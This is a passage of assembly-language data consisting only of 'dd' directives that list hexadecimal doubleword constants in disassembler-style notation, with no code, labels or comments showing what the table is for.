		dd 0C16AE2ECh, 0A1E4BD20h, 126D90D4h, 3ABCE507h, 0D91562A7h
		dd 0E31C9722h, 0E372D01Bh, 4BB453A0h, 0FEE3956Fh, 206B368Eh
		dd 743EA2D9h, 0CA0EDA63h, 0C8C66D8Fh, 6B408AB0h, 0D7570E76h
		dd 0B1330F59h, 0E73520A7h, 71529B0Ah, 0E9A232FBh, 0ED13D6h
		dd 515EA424h, 573615AAh, 0E2380191h, 0B7E2E373h, 72E7EBCh
		dd 5776C124h, 50EDE8DDh, 4CEBB045h, 0F83183Bh, 6E3748CEh
		dd 0E1F6A328h, 0BD075880h, 2357F11h, 1D38DBF4h,	261DB7F3h
		dd 2B5460A1h, 31A421FDh, 0DD1C34AEh, 0EC5AE387h, 7087B3E0h
		dd 3C8E0C51h, 2A131498h, 69F6CCB3h, 0F1130E57h,	0E198AF88h
		dd 81B456C3h, 0A8B8C13h, 9B3F75C4h, 77BE2ACBh, 0A1EF8C51h
		dd 4B07F1E7h, 0B99A43F1h, 0CEB8EA93h, 0C01DB5BBh, 0F8F59E6Fh
		dd 5676210Eh, 9D8CB81Fh, 0ED9CCEC1h, 829FA501h,	25600BCBh
		dd 9C53A360h, 7547D9FCh, 939D3887h, 0E0E78FD5h,	8BE8507h
		dd 650B0C21h, 0AEFA7AAAh, 7FF16BF2h, 0AD3925CAh, 2586AA6Ah
		dd 339CBF9Ah, 0D04E769h, 9CD380EDh, 2B29474Ah, 230BC172h
		dd 0A2E56444h, 5B436CD1h, 880868F1h, 0D074C7CBh, 607A3B55h
		dd 28F55BF9h, 22D7121h,	6C0B6E3Dh, 8F6185FEh, 8C5A4D6Ch
		dd 9CB68C56h, 8FF0F8E2h, 0A17D35A7h, 6E119C77h,	72CF3DC7h
		dd 7EA91E46h, 7A11802Eh, 0BEB8E0DFh, 7AB3F04h, 72496EABh
		dd 0BB1575F6h, 0C9C2DE14h, 0F8044D53h, 5E6CCC9Ch, 0CE4B121h
		dd 0D61256B0h, 0E851B9F9h, 7F1ECC1Bh, 7BED24DFh, 1F2EC3EEh
		dd 7F81F90Bh, 2A7A3BA3h, 567C256Dh, 0E781D14Ah,	0F12DEB1Ah
		dd 1A4589C3h, 247CD89Ch, 490183C1h, 1666B7B8h, 0DE004003h
		dd 0EDB90361h, 139D8CA0h, 0EA027342h, 3485F610h, 13813286h
		dd 0BCE94F3Dh, 0AA9D534Dh, 0AD491D6Fh, 147E5E19h, 3B2B45Eh
		dd 0B270B850h, 0FEBA8A42h, 5F678ACBh, 35551DD8h, 0F72C9CC9h
		dd 95C37F60h, 1CC70B43h, 0A50F1E8Fh, 63559612h,	0CC4D4E90h
		dd 27C8C264h, 206D2983h, 62E72F98h, 31508ECh, 25C5B61Ah
		dd 4A435BDCh, 83F84AA2h, 55DDF0C3h, 1DCBDBC6h, 0F0953322h
		dd 0F99DBD6Bh, 0BAD47D6Fh, 0DF7D53AFh, 209D12FAh, 0EA3E80B0h
		dd 0C5DE80Fh, 3D7CE27h,	0CB84B6A1h, 92E0B178h, 63392B70h
		dd 9EA5A27Dh, 67DEEE0Ah, 0CB64FEBCh, 1FAC4C9h, 0B6C85D27h
		dd 0B670483Ah, 194D9337h, 47158FFBh, 87CD1F70h,	0E0DB66A5h
		dd 3D912EBBh, 66337A21h, 0C48BE2E5h, 0BBE07654h, 83555D90h
		dd 4D4F26AFh, 88C88170h, 53E5819Ch, 83B66BECh, 9AC8CF25h
		dd 0ABF1BA3h, 0E74AA051h, 0B831862Dh, 0C8436720h, 0C79AB283h
		dd 4427498Fh, 0A8FF1A53h, 11F0B5B1h, 3C19D61Fh,	4C7C99A7h
		dd 4C53BE40h, 35C71870h, 900D7026h, 0F7AD3E3Bh,	0C55C11B8h
		dd 381A4E9Fh, 6DAEDE72h, 64EC99EEh, 0D0DA0762h,	8B5EC006h
		dd 66FE11D0h, 9638F433h, 0C24FE591h, 21EAAF9Fh,	0AFB0F37Fh
		dd 0F50F4F1Ah, 0ABC74CBCh, 0BFEDD13Dh, 0C1D3824Ch, 0E91C95EEh
		dd 0BCE531A3h, 1A667797h, 4ACF7F38h, 0B7C28869h, 3BED09B3h
		dd 20577F82h, 5020853Ah
		dd 1621B355h, 0FD078F0Fh, 18A39613h, 8CEA6045h,	0C4CAB7DCh
		dd 3B0CB32Bh, 0FCE4FB29h, 34078882h, 2806C263h,	5826CAFh
		dd 0C36D8F60h, 49CD4DA2h, 22093353h, 996CCD7Ah,	0FDC1EF29h
		dd 0EA8E065Bh, 0A75E94D1h, 0E2ED3F6Dh, 1C91E5B4h, 0C019CA5Dh
		dd 0AA65AB2Bh, 0DF7EC6A1h, 0AEE8B98Eh, 2ECCB1F1h, 1781C514h
		dd 762A776Ch, 0BAD0B3CBh, 73BF0A32h, 68BA9F7Ch,	0CD51E422h
		dd 41AFEA5h, 0F1FD27F5h, 735429F6h, 0DB08E8A5h,	70EB340Dh
		dd 98E2985Eh, 50DBA032h, 0E287C5D5h, 98B3A33Fh,	8C8284DDh
		dd 842D750h, 12D2B4B9h,	8B6F5292h, 0E5BAA22Fh, 81735C0Bh
		dd 0F95FF1ECh, 1D6C6996h, 1F792948h, 3AAC4CD3h,	0C124D8C4h
		dd 2A03A54Bh, 18910EFDh, 0E29C5FAAh, 0E12436F7h, 0C3230C6Eh
		dd 3748C68Bh, 22EFD13Fh, 0C33AA834h, 0CB88777Dh, 9A865683h
		dd 28734B5Ch, 7E1C331Fh, 0EACCEDADh, 0DF1F9A59h, 49DDBF2Dh
		dd 1BAAB8FDh, 7FFC354Fh, 0D7F28B6h, 0A7FD1AF0h,	3B355C44h
		dd 97FB4DDFh, 64DE99FCh, 0BFCA29F5h, 8118E91Ah,	80EB38B7h
		dd 67710E68h, 88EB22E1h, 7AC3F12Dh, 21A5BED0h, 0A44B115Eh
		dd 7BEAE1F1h, 888F84C2h, 1745C869h, 3CE096AFh, 179FACB3h
		dd 0FEE16013h, 3F5FD9F5h, 9695F11Bh, 0C928DA56h, 45460211h
		dd 71CC152h, 0EDE4A29h,	5031D809h, 3F2C3037h, 68AA0617h
		dd 0E6A41FD4h, 4EFE2D1h, 0EC974CCBh, 2A5F849Fh,	0DFE8ECB6h
		dd 0A407557h, 9EB48C96h, 0A7AB54F8h, 0B28CCB26h, 867EF6E6h
		dd 31976527h, 8648FBCFh, 85AF1932h, 0C20EEEFDh,	382B23Ah
		dd 0ECE42F8h, 0FF352877h, 0CFF9C720h, 6C25A7E3h, 0B7124C81h
		dd 637AF189h, 8921DD3Ah, 0D9408F5h, 0C680F31Fh,	8D51653Dh
		dd 0AFCCDA20h, 0FD3906E5h, 42AF1DA1h, 0D37375EAh, 2D6A8C73h
		dd 0C82B75FBh, 516DC372h, 31D65FE6h, 220C63A2h,	0F32C69F8h
		dd 87B327B7h, 0ADB196CEh, 44CF38E6h, 5B2E4755h,	166C3113h
		dd 454BDD68h, 62B5E8D0h, 0D97E3E4Eh, 0C62EC3F2h, 921C17FFh
		dd 0A10FB868h, 33A44481h, 0EC1E3A29h, 6BD733E6h, 0BDD114D3h
		dd 0F49B832Bh, 89D4B858h, 0C43FF073h, 0BEE0C6F6h, 26CFCCA2h
		dd 0AA420A5h, 0BCF338EFh, 21BD31C8h, 0BD37446Bh, 0B7B4EFAh
		dd 0C170A519h, 3C46F89Eh, 4C0CBE37h, 66B97120h,	3664470Fh
		dd 0BD50CA8Eh, 0C5BDE277h, 8087F9D4h, 0E82031EBh, 7E668FE4h
		dd 0E44AF8A0h, 94575CE9h, 95848CBFh, 0DAE020CEh, 0EE7650EAh
		dd 183E8D52h, 0C1021E09h, 4A504AC0h, 40A5B0AAh,	0B3BB23BAh
		dd 688E61A4h, 794B92Ch,	0FE22E97Ch, 0E1F82455h,	0C8C9707Dh
		dd 7FAE288Dh, 45120FF8h, 686AFEC6h, 36222E0Bh, 0E12A7DDh
		dd 78247079h, 0AEDA476Ah, 7C1E90B2h, 12A9DE24h,	3561E477h
		dd 736C99A8h, 51E98D92h, 98A27236h, 23AF3E41h, 0A42ED29Fh
		dd 8B7B40B6h, 0CB4EA78Fh, 4E053972h, 32C0284Ch,	35EBE6B5h
		dd 0FAE7B9F4h, 0D668586Bh, 1D5D7376h, 5D7A1B5Eh, 0E50B362Eh
		dd 0FAB62D55h, 8DAD39D3h, 61CF6A0h, 3B8FDFB6h, 0D5BB9521h
		dd 84E9564h, 0CFD39504h, 0B9128FA6h, 0D158CA3Eh, 6190C6C2h
		dd 0DF71C114h, 46D3325h, 0C5E1F794h, 76E1F8A2h,	7A0639E3h
		dd 2F7643CDh, 3D461030h, 6A971FB3h, 0DC7CAA3h, 0E5F16DBCh
		dd 6C5107EAh, 59B86780h, 0CC9311D5h, 4866148Bh,	0DE67A647h
		dd 0A68C6262h, 7BE518B1h, 3128CF04h, 0CB4F0F0Fh, 4A7A0F1Bh
		dd 118300AAh, 50D2467Bh, 0DF0D4B5Eh, 0C0A7E35Bh, 0EE5F7945h
		dd 0B8C0D138h, 0E63085h, 94613A7Eh, 0FDF0C8B2h,	59AC72ABh
		dd 0A1F6A7F1h, 0B5FDA2A6h, 132FC4EDh, 808553F2h, 3B21EB79h
		dd 10A8917Dh, 0E50BAF2h, 7BA9684Bh, 6F99C7CAh, 8602003Dh
		dd 22B287h, 0CC9D1443h,	5721BB3h, 0B797DFA4h, 9DE13127h
		dd 0F0FB83E5h, 0CC48A4D0h, 449831CCh, 0FA298B21h, 0EFA26F7h
		dd 0E9B0426Dh, 0EF805499h, 0BC65080Eh, 429708A6h, 1A1745D1h
		dd 0BCA88B00h, 0DBAB49E4h, 47CD02CDh, 4C4181D5h, 0C573EED1h
		dd 3B8DE238h, 4ACFF592h, 951C5D6h, 723DFFC1h, 54570D6Ah
		dd 8F66EF94h, 0AEBA8F3Ah, 0A1118E89h, 4E02E4E0h, 784C3D90h
		dd 1D876696h, 77D26150h, 1097A897h, 0AF7705C7h,	7E26EDB1h
		dd 7D2D1964h, 5A3E6643h, 0E4EE07CAh, 0B0E65BFEh, 4D148766h
		dd 17E4DF4h, 0A59459F1h, 0EE70424Eh, 0DEFE95BEh, 0B0622FAEh
		dd 6D4FE397h, 74CF2D2Ch, 0A5494833h, 5ECA65A4h,	1E411E1Dh
		dd 8EC4EB8Eh, 0C290F5E7h, 9D9CC96Bh, 9B7E8F1Ch,	10832447h
		dd 41DC737h, 0B7BCDF31h, 4E11E08Ch, 0B23885B7h,	913AF1D5h
		dd 5AD57AFh, 587CE992h,	1513447Fh, 0D954C7BCh, 5F89FD4Fh
		dd 1195B004h, 0CED66F84h, 0E9C734ECh, 7DD224DAh, 75056B88h
		dd 91448C49h, 0D62A2845h, 0B51F07E8h, 9B0668BEh, 92CA287Ah
		dd 25795EF1h, 67B03FA0h, 0E357E1EFh, 0AAB8C77Ah, 5E94E3B5h
		dd 811C54EEh, 8F58BF4Bh, 0B269C6E0h, 0BBB82CE7h, 4B54689Dh
		dd 0C4CA50DCh, 6FAA8402h, 4F00A8C8h, 5FAE369Bh,	0CF015909h
		dd 0E8657DD1h, 0B81A7651h, 0F4BBCAh, 0D51782ABh, 8CE7D778h
		dd 9743D539h, 0BD95E757h, 3CF8A205h, 9B7AFB36h,	2E0B1D94h
		dd 5D1B563h, 0F1A26576h, 9E386D94h, 0A0C3F2B2h,	0D066023Fh
		dd 990F7F2Eh, 9D5E8142h, 156339A9h, 0E5F4E22Eh,	7436E6BFh
		dd 1643BE36h, 134F72A4h, 0AA1369A1h, 100B5DD8h,	827ABF0Dh
		dd 0F6DBAE3Eh, 90851A26h, 0C345092Dh, 0B728D6CFh, 0FA012869h
		dd 52585FC3h, 0A455EEFEh, 0AC986474h, 7AAF33B8h, 0AB3504ACh
		dd 45B26EC1h, 129CEACBh, 9F748DF0h, 4A243333h, 17B27AB3h
		dd 48E9F22h, 0F9C6392Bh, 0EAC0F2F7h, 691F651Fh,	39232A27h
		dd 0CC7EA6E2h, 9DF958A2h, 0D9251F9Bh, 563C63D8h, 255F9494h
		dd 8A2C8ABAh, 6A193E46h, 51CD47C5h, 20FFE954h, 4DAD3502h
		dd 538D8019h, 0BF9D2640h, 9872A727h, 0F1C3F5EFh, 0CD446333h
		dd 4B127C77h, 1E399665h, 48FF7F55h, 0EDFB0DF5h,	4183341h
		dd 0EDEECBF7h, 926DC862h, 762B9A97h, 0D3E245D2h, 3F192FE1h
		dd 1B69811Bh, 0D2FF5D8Bh, 636ED84h, 4DCFE7E8h, 0DA4F4B3Eh
		dd 0F0907C2Bh, 0F4DA6E3Ah, 9803707Ch, 0E2DCEA71h, 0D6ED095Ch
		dd 0F2C6A17Eh, 0E3DDC699h, 0A2C99CB6h, 74352609h, 29DAE0B4h
		dd 0B846143Fh, 92F4C172h, 7441075Fh, 98A3DE0Eh,	2BFAFAEh
		dd 0E302F6C8h, 34E3E1D0h, 47EF363Ah, 8A218B3Dh,	159646D7h
		dd 8AFA49D2h, 0D4C06F3Bh, 0DEFE89D0h, 0E9968175h, 32546B14h
		dd 0A81C3068h, 4FD9B8DDh, 874EFDCEh, 0D0331368h, 0C11C819Ch
		dd 6DCF3491h, 0FE8E5B01h, 66448A5Eh, 3B6DE0F7h,	0CC44AE4h
		dd 0AA205C91h, 72AA371Ah, 459C9286h, 10EC47CEh,	62F29AD7h
		dd 70F053FAh, 51E4E41Bh, 0A7FD4D41h, 845AB9D5h,	25A3259Eh
		dd 9FCAA1C9h, 6CA8D3F0h, 80B5B1C9h, 0C76C3455h,	52759FE7h
		dd 0D70CC0DEh, 34C985D9h, 72711577h, 0D3A07A15h, 9D1E38FAh
		dd 1574E095h, 0CD4615E0h, 331D0135h, 1E09E773h,	7971E365h
		dd 4169B56h, 7C1712F4h,	1D2CB9B2h, 0AD2DD19Ah, 0A1D81486h
		dd 7690B359h, 0B66A0F05h, 699F3174h, 6B057C17h,	45C8D83Ah
		dd 0C0FE8D4h, 16E3097h,	0B3FDB67Fh, 0DA964659h,	0E8BC3752h
		dd 4DC3841Bh, 0AE2640h,	0ADE06D79h, 8E56F7EFh, 0DCA0B0F1h
		dd 941699D4h, 0EB2F7B18h, 9D5001C6h, 0D25CFD75h, 532A8F2Fh
		dd 8F117D79h, 3CF22A65h, 46106DE2h, 0D230B432h,	0F920E5B1h
		dd 0BF297F01h, 0DEB217D3h
		dd 0C0A62D3Ch, 0E3691713h, 9AEEB8C7h, 8AFB52C4h, 15ECE4A0h
		dd 0E98DD9A4h, 1DC2CB40h, 0DBC72176h, 2C6F8C64h, 0BB9A375h
		dd 1C7530B1h, 8272FE5Ch, 0CA9DB198h, 9BF3AF3Ah,	96001DEFh
		dd 730E5A85h, 0EDA1E100h, 0E8F5D95h, 0E18CADDCh, 209812A9h
		dd 52613FB2h, 0F0ADAB40h, 2FA71C13h, 5A54DCEAh,	3C80A5A6h
		dd 0A85C981Bh, 8D7EB9F9h, 5DC21EBFh, 8D0094EEh,	0D4A348C3h
		dd 14A6C5Dh, 0DA24EA2Eh, 9F6C792Ah, 252C9207h, 52DD8666h
		dd 87A1BCF0h, 0A8D793D5h, 0F55FFC13h, 17DD24A1h, 0EB0853AFh
		dd 0F45FA850h, 76A2AB09h, 0E4CCC4CDh, 0FB3F90C4h, 0A8DD1851h
		dd 1E655CEDh, 3C6B8EEBh, 8FFD9D71h, 1B3903F0h, 6B196D87h
		dd 5F8AFC7h, 4D7C5835h,	0E5D966A6h, 91B18D0Bh, 2B1958E0h
		dd 0DF7FB0EAh, 12316AACh, 0E2FE37h, 17838D4Fh, 2250FD7Ah
		dd 71428080h, 39E1D2A9h, 0B4C756DAh, 2C7C1B63h,	0E4FC0D65h
		dd 0E618ECB4h, 424ED682h, 9F6B7851h, 5A0C3690h,	0CFE168B1h
		dd 0BB84EDCh, 6F85F650h, 988BBD07h, 5701CD4Ch, 892E658Dh
		dd 6FC42590h, 0DBB6C526h, 28234D2Ah, 887060F8h,	28BC16B4h
		dd 0A6251428h, 4110463Ah, 0B11291AFh, 83753678h, 0A9EEEBBCh
		dd 0D4C6299Eh, 6206DAB7h, 404B2785h, 0E3CF03BDh, 0A3D9E228h
		dd 0D8D99335h, 0B09B722Dh, 0C3275B5Fh, 77F3412Fh, 8F2E8B44h
		dd 0C2D843B9h, 0BC62062Ah, 86894862h, 32EF92F1h, 5F6A60Ch
		dd 0D7A8EADBh, 630EC951h, 0EDFDA99h, 5958E0E9h,	561F3CA6h
		dd 0B5B8DDF6h, 86C96B54h, 95EE36E7h, 62171B5Bh,	0F021A156h
		dd 0A824418Fh, 0E49D5FE4h, 0CB7522D7h, 0AE67F564h, 0E47BF57Fh
		dd 6C8CFCCFh, 78C92F9Eh, 82A3527Eh, 0B1A8363Ah,	0CDEC76E0h
		dd 0CF829FB2h, 0E1A9790Ch, 0D22D8FA0h, 25CAEA31h, 0E100FD05h
		dd 1928FB81h, 0AD17E45Dh, 277D0E1h, 8C2514Bh, 6F8D707Ch
		dd 0E6229CAh, 8BE9EDE9h, 0B590F707h, 53C1B58h, 7158A6BAh
		dd 0E760A979h, 198E352h, 37DFF1D3h, 405CC5F9h, 0AA621E93h
		dd 0A635E27Ch, 0F9A85073h, 0A2F2F42Ah, 265964A7h, 0ECC627ECh
		dd 0DDCF582Fh, 0EBDC73EBh, 0E511D655h, 1EDDB867h, 0AE0A4798h
		dd 1C06E42h, 0CB13F67Ch, 6861A124h, 8247DD96h, 873A95B7h
		dd 0E2FED787h, 0B4F1D473h, 1FEF5A85h, 0DBAADECEh, 99FD4DABh
		dd 16E5BA06h, 0F37E5337h, 5B9DCCE7h, 255FC470h,	0DDC7D702h
		dd 704E0659h, 5C311579h, 64FD3EA6h, 0D5D4B6ACh,	0DAA1020Eh
		dd 0FF92E3DDh, 0E86CAF3Dh, 4944E9D2h, 6C7B5FB6h, 0E538BD1h
		dd 0A85FB530h, 385AB49h, 30B49650h, 0D33517A1h,	9BC6B8B1h
		dd 0C983A3C8h, 8152381Fh, 0CE26113Eh, 0A67DBA26h, 0D0CF3F40h
		dd 4293C01h, 0E9C89884h, 8EFACDF1h, 2792A92Eh, 4C9A7BBh
		dd 8ACA7669h, 860B515Eh, 8E6BB7DCh, 0FC52A319h,	28D89C67h
		dd 0C7292EABh, 4B1F7BBFh, 43359EB1h, 384D4D63h,	0F879C03Fh
		dd 0C83E8B13h, 0D75E6032h, 0E18304AEh, 48806E79h, 3DFCD00Dh
		dd 1E2782ABh, 88651387h, 0E6F1442Dh, 624F9110h,	0ECBACD59h
		dd 0EFAB4C2Eh, 9F2771E6h, 6A512BB9h, 83267D58h,	76707966h
		dd 511905B7h, 4974682Fh, 0EFE70606h, 7916AC2Ah,	9FC832A6h
		dd 2EC8C1A9h, 90E353EAh, 0BF8FAE52h, 75F7E498h,	0AAA2C09h
		dd 1C150789h, 2A2C2D88h, 0C2680C71h, 23CAA2CCh,	9FC9B69Fh
		dd 64187BD5h, 6C10E04Fh, 0F2D6CB7Fh, 0B433AD4h,	8E27C949h
		dd 40FB8817h, 0B0CEEF4Ch, 0C64227A0h, 0F5C2D724h, 0B06D968Ch
		dd 0D7C92145h, 0F9176FAAh, 439D6805h, 0C30C30EEh, 0AABDCF59h
		dd 4CE1596Bh, 8A17C176h, 30500298h, 0E7CBB05Ah,	24B70F0Eh
		dd 0FCE43E64h, 45ACCEDEh, 40011AFEh, 0B678A7FCh, 9C91D6D2h
		dd 6D8EE66h, 0B1E4E80Fh, 0E83B28DBh, 1EF4FED0h,	5C1D8C1Bh
		dd 87834551h, 81358E01h, 863D5217h, 0B24809B4h,	0FC237D67h
		dd 0A25AC6E8h, 370AF13Eh, 0C13675A4h, 0AD591E67h, 13B4A54Bh
		dd 540816A4h, 0BF8028E2h, 90FEEE82h, 4BAA88D8h,	79536D84h
		dd 72B04FA1h, 0DA92B991h, 81DF67A1h, 4761E65h, 0A31C07DCh
		dd 55291C4Eh, 0EDF5BEECh, 0FE6651DCh, 6D203419h, 0F36E506Ch
		dd 8F5E5F9Bh, 5570BCBCh, 0AB1CC024h, 4F23F666h,	0A61A03A6h
		dd 8F79D64Dh, 0EFA0C192h, 0F6EC8247h, 0D327FBBCh, 1F27A21h
		dd 4121BB27h, 0BD5552A3h, 736DE25Ah, 0A7E6A6E1h, 0D9178E92h
		dd 5DA68E70h, 5EDC8925h, 0C1DB77C2h, 48AD4314h,	97023055h
		dd 9518044Fh, 366DC8ADh, 83F93B3Eh, 1C71C71Bh, 4584F04Eh
		dd 606D2059h, 0FE526F1Eh, 646351A7h, 864E666Dh,	0A1B66BF6h
		dd 0E48493E3h, 0FF6C9A19h, 56C0FE85h, 3F650D47h, 4948F956h
		dd 874F96F4h, 6C64C350h, 16976749h, 29CF0AE0h, 687B1DE3h
		dd 0A285CB56h, 0CB87A2B8h, 8FEC8BF7h, 3CA901C9h, 0ED502C8Dh
		dd 0D5633608h, 7C7647C0h, 26A1D7ABh, 6335D2F9h,	935FAB96h
		dd 4B1CE25Dh, 8F0524Fh,	0E74C607Fh, 8D10C6B2h, 769DE728h
		dd 71C26F57h, 8E510AD9h, 3ED805CDh, 0E3BA5B1Ah,	0B199A7EFh
		dd 0C719D916h, 6A3C14DEh, 6AD035B5h, 78A1EA47h,	0CE770491h
		dd 83D1C2Ah, 1C7C1CF1h,	0D1005EBh, 11655AE5h, 13F84E82h
		dd 0B0A10103h, 0FDCC2B76h, 0F5C9BAh, 352CFE19h,	0A6E0A88Ah
		dd 802D2394h, 0E597CCE0h, 3C48391Eh, 0B9E7173Dh, 3B0A39ACh
		dd 1E9C290Bh, 0D9F65B0h, 0E2F1A3EFh, 8A71AA9Fh,	3A0BBFF5h
		dd 55F980DEh, 0DC0C8560h, 9E81CB1Ah, 3F88C977h,	8BD3B699h
		dd 5EAC64CFh, 9D2B4983h, 0CD1358FFh, 0AF1EB38Ah, 34B368B5h
		dd 14CE4A91h, 57BD87C3h, 3C3C0246h, 0DF8F9F00h,	84E7A5B1h
		dd 31F02841h, 49ACB7E0h, 8401445Fh, 3989AD25h, 0CCFF0577h
		dd 37E24412h, 17C9CACAh, 0FCFAEA89h, 8A794733h,	0D5B97137h
		dd 0BF4F6667h, 0BF1071Bh, 7908AAA7h, 0F0D0E049h, 20EC046Ch
		dd 0F2D6D3B7h, 99894180h, 1B63EE30h, 0E1CB038Bh, 2BF82FE8h
		dd 525E2F3Ch, 0FC6D0605h, 3D563F4Eh, 0F87E6234h, 0A8E6E5Eh
		dd 66031C20h, 312AA8D4h, 7E5F6EC5h, 0EB1E3C1Ah,	567F7AEAh
		dd 11C65391h, 566C0AEh,	0E2FCD61Ah, 442FA9EFh, 6EEAC30Dh
		dd 9FF0A4Bh, 0C67104B7h, 7B5D6F5Dh, 0AACD2945h,	3119A821h
		dd 546055A1h, 15BF6C97h, 0B35A7280h, 69A42A9Fh,	6128EE91h
		dd 8F31D441h, 0E88EE2DAh, 0BBB3AAC5h, 0A1703251h, 0DCA0A8E0h
		dd 0AC46691Ah, 148C5F75h, 358BB371h, 0B0D17609h, 8575C81Ch
		dd 13F228Bh, 73D24F00h,	0D65952EDh, 0ACCB26E9h,	0F384E0B8h
		dd 1FA8BE58h, 83AD6EB9h, 7C926C77h, 48574755h, 0B0E2A1FAh
		dd 5091E1A4h, 47AB30FFh, 0B5B2F572h, 293A3874h,	2B0F769Fh
		dd 11920651h, 56F4C355h, 0E3810441h, 89944E10h,	582D3ADAh
		dd 581243E9h, 83FA3B12h, 41438B85h, 4DED47CBh, 623082A2h
		dd 5B634EACh, 4D561228h, 0A228C83Ch, 0D8D837CCh, 0F78562BFh
		dd 0E3B58CA9h, 42B6AA6Ch, 0AE9C03CAh, 2C3700A1h, 55FC7FDBh
		dd 482FFBDCh, 4393C87Bh, 5CAE266Ch, 778E4CE0h, 6519BF17h
		dd 1F35BA06h, 0FD024FC5h, 0FBBA2C0Ch, 0FD0C0EB5h, 9B4424h
		dd 99F52C5Dh, 0F477FF07h, 7818995Dh, 0FC6CA66Eh, 2214A034h
		dd 13D5D21Bh, 0DDC4B749h, 7601486Bh, 48F02536h,	0F2097716h
		dd 4453CD8Fh, 0C9C5AD4Eh, 0DAD58CA0h, 3A3501EBh, 0D0DACE97h
		dd 92F90F4Dh, 0BF40D6A1h, 8ED7815Ch, 0AEC1E6DFh, 0A65132F2h
		dd 76E20F36h, 4B764638h, 0E0BD95E8h, 8CFB8B76h,	21F3BCDCh
		dd 0D6EE8695h, 97C25C1h
		dd 0A8C7BB64h, 159E4574h, 84FBC390h, 9E4344E3h,	0DB7DBEEFh
		dd 0D1C51C4Ah, 0A793DBC0h, 0AD0FE87Ch, 0A771DA93h, 90E7F4A4h
		dd 3F42B9A6h, 60099520h, 0F20A52A5h, 0D3AD9678h, 0BCA92BC2h
		dd 5C79A895h, 0EDCACF1Fh, 537E46C9h, 9255ACB9h,	0C61BA857h
		dd 88642A7Dh, 0B1EC8B00h, 0A4605269h, 89DC4903h, 6BCBE99Eh
		dd 3B4C0B34h, 72F3927Bh, 0D568ED6Dh, 0BE0B4AA6h, 0D82A703Dh
		dd 0F4C4CEF9h, 6AF2D2F7h, 0D15D54F6h, 4B4845C3h, 6DC98BAAh
		dd 1B4A1C30h, 0D1C4769h, 85640926h, 1D90F211h, 0AEEAA6DCh
		dd 0BB06549Fh, 3D8828E0h, 9F4A87D0h, 34F4E5CAh,	0D0E22778h
		dd 0D32F0B72h, 0A17B092Ah, 85870D48h, 0BC6A9CBEh, 869F2100h
		dd 0BD5D4359h, 3E711A22h, 9F23C353h, 14C4E925h,	0B07A2F5Bh
		dd 61FFE051h, 98B59C2Ch, 4BAF4842h, 0E159CA54h,	314E0A88h
		dd 8BA29A83h, 0CB102025h, 0FCD9035Eh, 0E9366583h, 0E5F6C844h
		dd 0EC733959h, 7CB120E9h, 0F5F32A0Bh, 48A4F59Ch, 0B7FDAA3Eh
		dd 57DA1013h, 23BB66D7h, 0C7F6C1h, 0C1E3B49Ch, 30AF6230h
		dd 0E2B7F4DAh, 5DF7F905h, 1379AB63h, 0B6ADB6F8h, 2E2542ECh
		dd 0B38C623Ch, 0D4678EBDh, 79E5AC99h, 0BE0BF08h, 493C10Ch
		dd 0E1B5B573h, 959E2506h, 3EFDC94Ah, 0D6AD414Fh, 0F3739AABh
		dd 58908719h, 0A3FDFBB6h, 0A48A5857h, 461DF635h, 26669F07h
		dd 687797E7h, 42856B42h, 0E0E2BA7h, 1C76BC15h, 51E6B9DEh
		dd 707FE5AAh, 7B42987Eh, 0D6EA12ABh, 0F26887F2h, 0BCBC442Dh
		dd 0A5597B8h, 0F0377244h, 445D19B8h, 266FDD8Bh,	0B900838Ah
		dd 0EA565A4Eh, 0B06B374Fh, 7D5B7985h, 9CB69843h, 22763B49h
		dd 0D6109D8Eh, 6EC5E235h, 0C9832E2h, 0F07CFE90h, 374CDB33h
		dd 796E7D1Ah, 0BADD5325h, 0F7663BA4h, 52662A9Bh, 0B4707834h
		dd 6016BB8Eh, 0BA4048A8h, 0B3D64D2Bh, 70BD387Bh, 9D5F4B9Ch
		dd 73E7348Dh, 13C6DD77h, 641F2F1Ah, 0A9871557h,	0E94D1623h
		dd 0A3B1F0Bh, 494D8EC4h, 74D7D0F1h, 0DCE6060Fh,	0CF4337C4h
		dd 3BE73A37h, 0A34514CBh, 0E476D421h, 0D86C94BCh, 0BB97A95h
		dd 6ED33565h, 0C2B73470h, 9C2D31D7h, 36E7848Ah,	0DDCB9996h
		dd 0AE72F897h, 65D8DF70h, 491F2BEEh, 88E8D746h,	0AC92BCA4h
		dd 59533B60h, 8C3EA58Bh, 4D2FE533h, 0E90FAE28h,	21015AAFh
		dd 4BA250A4h, 708F557Bh, 18BC491h, 425027C0h, 35BED4B7h
		dd 0AE42F221h, 0AA8C40AFh, 4A653EEAh, 9070FE9Ah, 0E9CE7B2Dh
		dd 80DF622Fh, 51BBC37Fh, 0DAD6C388h, 76B8472Ah,	0F66B3A27h
		dd 837A8F78h, 907E0256h, 0E75AFEC9h, 0AF834E16h, 380FBA09h
		dd 0AC8830A8h, 3C1B38Bh, 0C8CD7F29h, 86FC7850h,	1BD58800h
		dd 530FE51h, 0D3A9DCB2h, 2106E17Eh, 0C021C914h,	3703C185h
		dd 0BCDCC51Dh, 1B9896B0h, 1277AC0h, 0A5B7DEA2h,	1E6D47BAh
		dd 97D74FE0h, 298D1035h, 0BEA9F7C7h, 40FED995h,	7FDC127Ah
		dd 0D44CBCB2h, 3C679CA3h, 67931B23h, 12E66433h,	67482716h
		dd 84F023D2h, 6B637D39h, 13640E99h, 1ABF7355h, 0AA2AB788h
		dd 0F28C6004h, 0AA4C15Ah, 1F496A57h, 4C91ED59h,	0E562952Bh
		dd 35C96D2Ch, 0A5FC9A34h, 6D4D8C7Dh, 3E974F55h,	31AE796h
		dd 0AD6BDB2Ah, 3E74710h, 7963DDBDh, 20191B4Fh, 8B3E654Fh
		dd 40DEC717h, 188E27BEh, 0C5BC2342h, 0A17A7205h, 38BD4A40h
		dd 0AA62A6B7h, 35637741h, 0C7A0C7BFh, 0FBBEB1CDh, 0BA72BE84h
		dd 0B61891Ah, 336B6AC5h, 0C876BBABh, 0D21F2840h, 549B83C6h
		dd 86BA0A19h, 0CE474252h, 0FA76EC33h, 196E164Eh, 77933C63h
		dd 0A59EBEA8h, 0EE1E73C4h, 1B1D3E0Dh, 0FC1BC5A2h, 4EF49110h
		dd 280CBE6Ah, 37F11CE0h, 97A9295Bh, 23FEC3AAh, 8B4980BDh
		dd 0CEBB434Ch, 0E2789342h, 0E462E63Ah, 8DDF6C65h, 0D7520FA6h
		dd 64A01059h, 241205ACh, 6C9F3067h, 7FF16143h, 0E53E4B81h
		dd 0AE60F7CFh, 0AD8C32A5h, 4003BBDEh, 665F7E2Eh, 0F2F7A7D2h
